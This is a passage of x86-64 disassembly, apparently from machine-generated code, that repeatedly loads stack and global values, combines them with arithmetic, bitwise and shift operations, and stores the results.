add eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov rax, qword [rsp + 0xae70]
movzx eax, word [rax]
mov word [rsp + 0x1158], ax
mov eax, dword [rsp + 0x41d8]
mov ecx, dword [rsp + 0x44ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0xaf50]
mov eax, dword [rax]
mov ecx, dword [0x14019bfe4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bc8], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb898]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1028], ax
mov rax, qword [0x14019da20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x189]
and eax, ecx
mov byte [0x14019bef3], al
mov rax, qword [rsp + 0xbaf8]
mov ecx, dword [rsp + 0x4360]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb438]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4218]
mov dword [rsp + 0x4740], eax
mov rax, qword [0x14019d848]
mov ecx, dword [rsp + 0x46f4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3aa4], eax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov dword [rsp + 0x4744], eax
movzx eax, byte [rsp + 0x167]
movzx ecx, byte [rsp + 0x15d]
xor eax, ecx
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0xb1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab00]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf58], ax
mov eax, dword [rsp + 0x4638]
mov dword [rsp + 0x4748], eax
mov eax, dword [rsp + 0x4400]
movzx ecx, al
mov eax, dword [rsp + 0x4414]
sar eax, cl
mov dword [rsp + 0x4624], eax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x7a]
add eax, ecx
mov byte [0x14019bf2b], al
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0x115c], ax
movzx eax, byte [rsp + 0x1be]
movzx ecx, byte [0x14019900e]
and eax, ecx
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0xb418]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed4]
add eax, ecx
mov rcx, qword [rsp + 0xb758]
mov word [rcx], ax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xbb38], rax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4148], eax
mov rax, qword [rsp + 0xa668]
mov eax, dword [rax]
mov dword [rsp + 0x474c], eax
mov rax, qword [rsp + 0xa7e8]
mov rcx, qword [rsp + 0xb4f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x426c], eax
lea rax, [rsp + 0x3ee8]
mov qword [rsp + 0xbb40], rax
mov rax, qword [0x14019d9a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1af]
add eax, ecx
mov byte [rsp + 0x180], al
movzx eax, word [rsp + 0x1130]
movzx ecx, word [rsp + 0xeb4]
add eax, ecx
mov rcx, qword [0x14019d9d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa728]
mov ecx, dword [rsp + 0x46c0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb7d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba98]
mov eax, dword [rax]
mov dword [rsp + 0x4750], eax
mov eax, dword [rsp + 0x40e4]
mov ecx, dword [rsp + 0x42a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c4], eax
lea rax, [0x14019bf3c]
mov qword [rsp + 0xbb48], rax
movzx eax, byte [rsp + 0x1a2]
movzx ecx, byte [rsp + 0x1d1]
and eax, ecx
mov rcx, qword [rsp + 0xb3f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfcc]
shl eax, cl
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa558]
movzx eax, byte [rax]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0xb798]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x106c]
xor eax, ecx
mov word [rsp + 0x115c], ax
mov eax, dword [rsp + 0x3d3c]
mov ecx, dword [rsp + 0x443c]
or ecx, eax
mov eax, ecx
mov dword [0x14019db70], eax
lea rax, [rsp + 0x46e4]
mov qword [rsp + 0xbb50], rax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1dd]
sar eax, cl
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1068]
mov rcx, qword [rsp + 0xa768]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff8], ax
lea rax, [0x14019d830]
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xb670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4220]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46cc], eax
mov rax, qword [rsp + 0xb7c8]
mov eax, dword [rax]
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0xb0e8]
mov ecx, dword [0x14019bf60]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x38a0], eax
movzx eax, word [rsp + 0xf28]
mov rcx, qword [rsp + 0xb1f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0xb5b0]
movzx eax, byte [rax]
mov byte [0x14019d7b7], al
mov rax, qword [rsp + 0xb8c8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x427c], eax
mov eax, dword [rsp + 0x4618]
mov ecx, dword [rsp + 0x4254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x463c], eax
lea rax, [rsp + 0x45dc]
mov qword [rsp + 0xbb60], rax
mov eax, dword [rsp + 0x4510]
mov ecx, dword [rsp + 0x43d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45e4], eax
lea rax, [rsp + 0x4588]
mov qword [rsp + 0xbb68], rax
movsx eax, byte [rsp + 0x192]
movsx ecx, byte [rsp + 0x1a1]
add eax, ecx
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0xb228]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa658]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb488]
mov word [rcx], ax
movzx eax, word [rsp + 0x1118]
mov word [rsp + 0x1160], ax
movzx eax, byte [rsp + 0x181]
mov rcx, qword [rsp + 0xb148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf3a], al
mov rax, qword [0x14019dab8]
mov rcx, qword [rsp + 0xb090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45a0], eax
mov rax, qword [rsp + 0xab08]
mov eax, dword [rax]
mov dword [rsp + 0x4758], eax
movzx eax, word [rsp + 0xcec]
mov rcx, qword [0x14019d968]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0xb448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d6]
sar eax, cl
mov rcx, qword [rsp + 0xa968]
mov byte [rcx], al
lea rax, [rsp + 0x42e0]
mov qword [rsp + 0xbb70], rax
mov eax, dword [0x14019d908]
mov ecx, dword [rsp + 0x42f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x46fc], eax
mov rax, qword [rsp + 0xa6c8]
mov eax, dword [rax]
mov dword [rsp + 0x475c], eax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x470c], eax
movzx eax, byte [rsp + 0x1bf]
movzx ecx, byte [0x14019bef3]
and eax, ecx
mov rcx, qword [0x14019d7c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov dword [rsp + 0x4760], eax
mov rax, qword [0x14019da90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4330]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4548], eax
movzx eax, byte [rsp + 0x1e9]
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0xb440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee0]
and eax, ecx
mov rcx, qword [rsp + 0xb558]
mov word [rcx], ax
lea rax, [0x14019bf6c]
mov qword [rsp + 0xbb78], rax
mov rax, qword [rsp + 0xb978]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb098]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb450]
mov byte [rcx], al
mov eax, dword [rsp + 0x4594]
mov ecx, dword [rsp + 0x335c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4720]
add ecx, eax
mov eax, ecx
mov dword [0x14019bfe8], eax
lea rax, [rsp + 0x45e4]
mov qword [rsp + 0xbb80], rax
mov eax, dword [rsp + 0x43b4]
mov ecx, dword [rsp + 0x42c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4468], eax
lea rax, [0x14019bfe4]
mov qword [rsp + 0xbb88], rax
mov rax, qword [rsp + 0xa8c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb34], ax
movzx eax, byte [rsp + 0x161]
movzx ecx, byte [rsp + 0x1ad]
xor eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
lea rax, [rsp + 0x44a0]
mov qword [rsp + 0xbb90], rax
mov rax, qword [rsp + 0xae98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb8b8]
mov qword [rsp + 0xbb98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb98]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb388]
mov dword [rcx], eax
lea rax, [rsp + 0x4574]
mov qword [rsp + 0xbba0], rax
mov eax, dword [rsp + 0x42e0]
movzx ecx, al
mov eax, dword [rsp + 0x45fc]
sar eax, cl
mov dword [0x14019bf84], eax
mov rax, qword [rsp + 0xb020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0xb0f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0xa5d0]
movzx eax, word [rax]
mov word [rsp + 0x1164], ax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1df], al
mov eax, dword [rsp + 0x4430]
mov dword [rsp + 0x4764], eax
mov rax, qword [0x14019d9a0]
mov ecx, dword [rsp + 0x41c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4204], eax
movzx eax, byte [rsp + 0x19b]
mov rcx, qword [rsp + 0xb2d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa58]
mov byte [rcx], al
lea rax, [rsp + 0xedc]
mov qword [rsp + 0xbba8], rax
lea rax, [rsp + 0x43f4]
mov qword [0x14019db78], rax
mov rax, qword [rsp + 0xb6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaab8]
mov eax, dword [rax]
mov dword [rsp + 0x4768], eax
mov rax, qword [rsp + 0xab50]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3418], eax
lea rax, [rsp + 0x1078]
mov qword [rsp + 0xbbb0], rax
mov rax, qword [rsp + 0xb650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a4]
sub eax, ecx
mov byte [rsp + 0x1ee], al
mov eax, dword [rsp + 0x4178]
mov ecx, dword [0x14019d8b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4530]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c0], eax
mov rax, qword [rsp + 0xae40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4640], eax
mov rax, qword [rsp + 0xb2e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4300]
shl eax, cl
mov rcx, qword [0x14019d930]
mov dword [rcx], eax
lea rax, [rsp + 0x46dc]
mov qword [rsp + 0xbbb8], rax
movsx eax, word [rsp + 0xf9c]
movsx ecx, word [rsp + 0xc48]
sar eax, cl
mov rcx, qword [rsp + 0xae38]
mov word [rcx], ax
movsx eax, byte [rsp + 0x18c]
movsx ecx, byte [rsp + 0x16d]
or eax, ecx
mov rcx, qword [rsp + 0xafe8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb4d8]
movzx eax, word [rax]
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0xb708]
movzx eax, byte [rax]
movzx ecx, byte [0x14019900c]
xor eax, ecx
mov byte [rsp + 0x1f4], al
mov eax, dword [rsp + 0x41a4]
mov dword [rsp + 0x476c], eax
mov rax, qword [rsp + 0xb9d0]
mov ecx, dword [rsp + 0x469c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb0e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaba8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17f], al
mov rax, qword [rsp + 0xb910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bfa8], ax
lea rax, [rsp + 0x444c]
mov qword [rsp + 0xbbc0], rax
mov rax, qword [rsp + 0xb848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4208], eax
lea rax, [rsp + 0x3cbc]
mov qword [rsp + 0xbbc8], rax
mov eax, dword [rsp + 0x4258]
mov ecx, dword [rsp + 0x4604]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4678], eax
lea rax, [0x14019beee]
mov qword [rsp + 0xbbd0], rax
movzx eax, word [rsp + 0xae4]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa750]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x38a0], eax
mov eax, dword [str.Po.b]
mov dword [rsp + 0x4770], eax
movzx eax, word [rsp + 0x1088]
mov word [0x14019db80], ax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fc], al
movzx eax, word [0x14019dae8]
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0xb778]
mov byte [rcx], al
mov eax, dword [rsp + 0x4058]
mov ecx, dword [rsp + 0x3df8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [0x14019db78]
mov eax, dword [rax]
mov dword [rsp + 0x4774], eax
mov eax, dword [rsp + 0x4304]
mov rcx, qword [rsp + 0xb838]
mov qword [rsp + 0xbbd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbbd8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4188], eax
mov eax, dword [rsp + 0x3b8c]
mov dword [rsp + 0x4778], eax
mov eax, dword [0x14019d7e0]
mov rcx, qword [rsp + 0xaa10]
mov qword [rsp + 0xbbe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbbe0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1060]
mov rcx, qword [rsp + 0xad10]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1108], ax
movzx eax, byte [rsp + 0x162]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019bf0f], al
mov rax, qword [rsp + 0xb358]
mov eax, dword [rax]
mov dword [rsp + 0x477c], eax
mov rax, qword [rsp + 0xba18]
mov ecx, dword [rsp + 0x4634]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa7b8]
mov dword [rcx], eax
lea rax, [rsp + 0x467c]
mov qword [rsp + 0xbbe8], rax
mov eax, dword [rsp + 0x473c]
mov ecx, dword [rsp + 0x455c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb670]
mov dword [rcx], eax
movzx eax, word [rsp + 0x114c]
movzx ecx, word [rsp + 0xebc]
sub eax, ecx
mov word [rsp + 0x1010], ax
lea rax, [rsp + 0x1cb]
mov qword [rsp + 0xbbf0], rax
movsx eax, byte [str.Sb]
movsx ecx, byte [rsp + 0x1fc]
sub eax, ecx
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0xa658]
movzx eax, word [rax]
mov word [rsp + 0x1170], ax
lea rax, [rsp + 0x46bc]
mov qword [0x14019db88], rax
mov rax, qword [rsp + 0xbab8]
mov ecx, dword [rsp + 0x4304]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10cc]
movzx ecx, word [rsp + 0xfe0]
add eax, ecx
mov word [rsp + 0xbec], ax
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e7], al
mov rax, qword [0x14019dad0]
mov ecx, dword [rsp + 0x43cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xba98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb528]
mov eax, dword [rax]
mov dword [rsp + 0x4780], eax
mov rax, qword [rsp + 0xaa10]
mov ecx, dword [0x14019bf84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xba10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4740]
mov dword [rsp + 0x4784], eax
mov rax, qword [rsp + 0xb968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa720]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1d1], al
lea rax, [rsp + 0xed0]
mov qword [0x14019db90], rax
mov rax, qword [0x14019da58]
mov ecx, dword [rsp + 0x44f4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaec0]
mov eax, dword [rax]
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0xaec0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4674]
sar eax, cl
mov rcx, qword [rsp + 0xa698]
mov dword [rcx], eax
mov eax, dword [0x14019d8b0]
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0xb0c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4200]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb6b0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x108c]
movsx ecx, word [rsp + 0x10e4]
add eax, ecx
mov rcx, qword [rsp + 0xae88]
mov word [rcx], ax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0xbbf8], rax
mov rax, qword [rsp + 0xa898]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1064], ax
movzx eax, byte [rsp + 0x171]
movzx ecx, byte [rsp + 0x10d]
add eax, ecx
mov rcx, qword [0x14019d980]
mov byte [rcx], al
mov eax, dword [rsp + 0x41f0]
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0xae40]
mov rcx, qword [rsp + 0xb2d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4420], eax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xbc00], rax
mov rax, qword [0x14019d9e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa908]
mov byte [rcx], al
mov rax, qword [rsp + 0xa810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x459c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6a0]
mov eax, dword [rax]
mov dword [rsp + 0x4794], eax
mov rax, qword [0x14019d930]
mov rcx, qword [rsp + 0xb4e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb3e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov dword [rsp + 0x4798], eax
movzx eax, byte [rsp + 0x19b]
movzx ecx, byte [rsp + 0x1e1]
sub eax, ecx
mov byte [0x14019bf3b], al
movzx eax, word [0x14019bf6c]
mov rcx, qword [rsp + 0xb538]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfb0], ax
mov rax, qword [rsp + 0xb0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4320]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4290], eax
lea rax, [rsp + 0x45f4]
mov qword [rsp + 0xbc08], rax
movsx eax, word [0x14019bf04]
movsx ecx, word [rsp + 0xa94]
or eax, ecx
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
lea rax, [rsp + 0x199]
mov qword [rsp + 0xbc10], rax
movzx eax, word [rsp + 0x1070]
mov rcx, qword [rsp + 0xb4c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf60], ax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x1e7]
sar eax, cl
mov byte [rsp + 0x1e1], al
lea rax, [rsp + 0x41d8]
mov qword [rsp + 0xbc18], rax
mov eax, dword [rsp + 0x44e0]
mov ecx, dword [rsp + 0x4184]
xor ecx, eax
mov eax, ecx
mov dword [0x14019bfe4], eax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x4378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa698]
mov dword [rcx], eax
lea rax, [rsp + 0x40f0]
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0xae80]
mov ecx, dword [0x14019bfe4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb4e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [rsp + 0x172]
and eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xb3c8]
movzx eax, word [rax]
mov word [rsp + 0x1174], ax
mov rax, qword [rsp + 0xb188]
mov ecx, dword [rsp + 0x43ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb770]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4430]
mov ecx, dword [rsp + 0x4220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x33b8], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa4], eax
mov rax, qword [rsp + 0xa820]
mov rcx, qword [rsp + 0xb6e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d828]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb778]
movzx eax, byte [rax]
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0xa898]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb478]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a8], ax
movsx eax, byte [rsp + 0x17a]
movsx ecx, byte [rsp + 0x1bc]
add eax, ecx
mov rcx, qword [rsp + 0xab20]
mov byte [rcx], al
movzx eax, word [rsp + 0xd48]
mov word [rsp + 0x1178], ax
mov rax, qword [0x14019db88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb878]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4540]
mov dword [rsp + 0x479c], eax
mov rax, qword [rsp + 0xac60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x162], al
movzx eax, word [rsp + 0xec4]
mov rcx, qword [0x14019d8d8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb7a8]
mov word [rcx], ax
lea rax, [rsp + 0x3c7c]
mov qword [0x14019db98], rax
lea rax, [rsp + 0x45c8]
mov qword [rsp + 0xbc28], rax
mov rax, qword [rsp + 0xb2e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4638]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4288], eax
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov dword [rsp + 0x47a0], eax
mov rax, qword [rsp + 0xb8e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb568]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa780]
mov byte [rcx], al
movzx eax, word [rsp + 0xcec]
movzx ecx, word [rsp + 0xf40]
shl eax, cl
mov word [rsp + 0xf5c], ax
mov eax, dword [rsp + 0x44d4]
mov dword [rsp + 0x47a4], eax
mov rax, qword [rsp + 0xac10]
mov rcx, qword [rsp + 0xa9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x440c], eax
mov rax, qword [rsp + 0xb6a0]
mov eax, dword [rax]
mov dword [rsp + 0x47a8], eax
mov rax, qword [0x14019d960]
mov rcx, qword [rsp + 0xa6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bfec], eax
mov rax, qword [rsp + 0xba60]
mov ecx, dword [rsp + 0x44e0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb378]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x14c]
and eax, ecx
mov rcx, qword [rsp + 0xbc10]
mov byte [rcx], al
lea rax, [rsp + 0x10f4]
mov qword [rsp + 0xbc30], rax
mov rax, qword [rsp + 0xae18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12e]
sub eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0xbc00]
movzx eax, word [rax]
mov word [rsp + 0x117c], ax
mov rax, qword [rsp + 0xb9b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4210]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb550]
mov dword [rcx], eax
lea rax, [rsp + 0x46d4]
mov qword [rsp + 0xbc38], rax
movzx eax, byte [rsp + 0x1e3]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x179], al
movzx eax, word [rsp + 0x1098]
movzx ecx, word [rsp + 0x10f8]
sub eax, ecx
mov rcx, qword [0x14019db68]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7b0]
mov ecx, dword [rsp + 0x443c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x422c], eax
mov eax, dword [rsp + 0x3c74]
mov dword [rsp + 0x47ac], eax
mov eax, dword [rsp + 0x4224]
mov ecx, dword [rsp + 0x4200]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
lea rax, [rsp + 0x3fac]
mov qword [rsp + 0xbc40], rax
mov rax, qword [rsp + 0xbbf0]
movzx eax, byte [rax]
mov rcx, qword [0x14019da10]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaa28]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb478]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1130], ax
lea rax, [rsp + 0x440c]
mov qword [rsp + 0xbc48], rax
mov eax, dword [rsp + 0x4268]
mov rcx, qword [rsp + 0xb3d0]
mov qword [rsp + 0xbc50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43c8], eax
lea rax, [rsp + 0x1fa]
mov qword [0x14019dba0], rax
movsx eax, word [rsp + 0xf74]
movsx ecx, word [rsp + 0x10ac]
and eax, ecx
mov word [rsp + 0xc84], ax
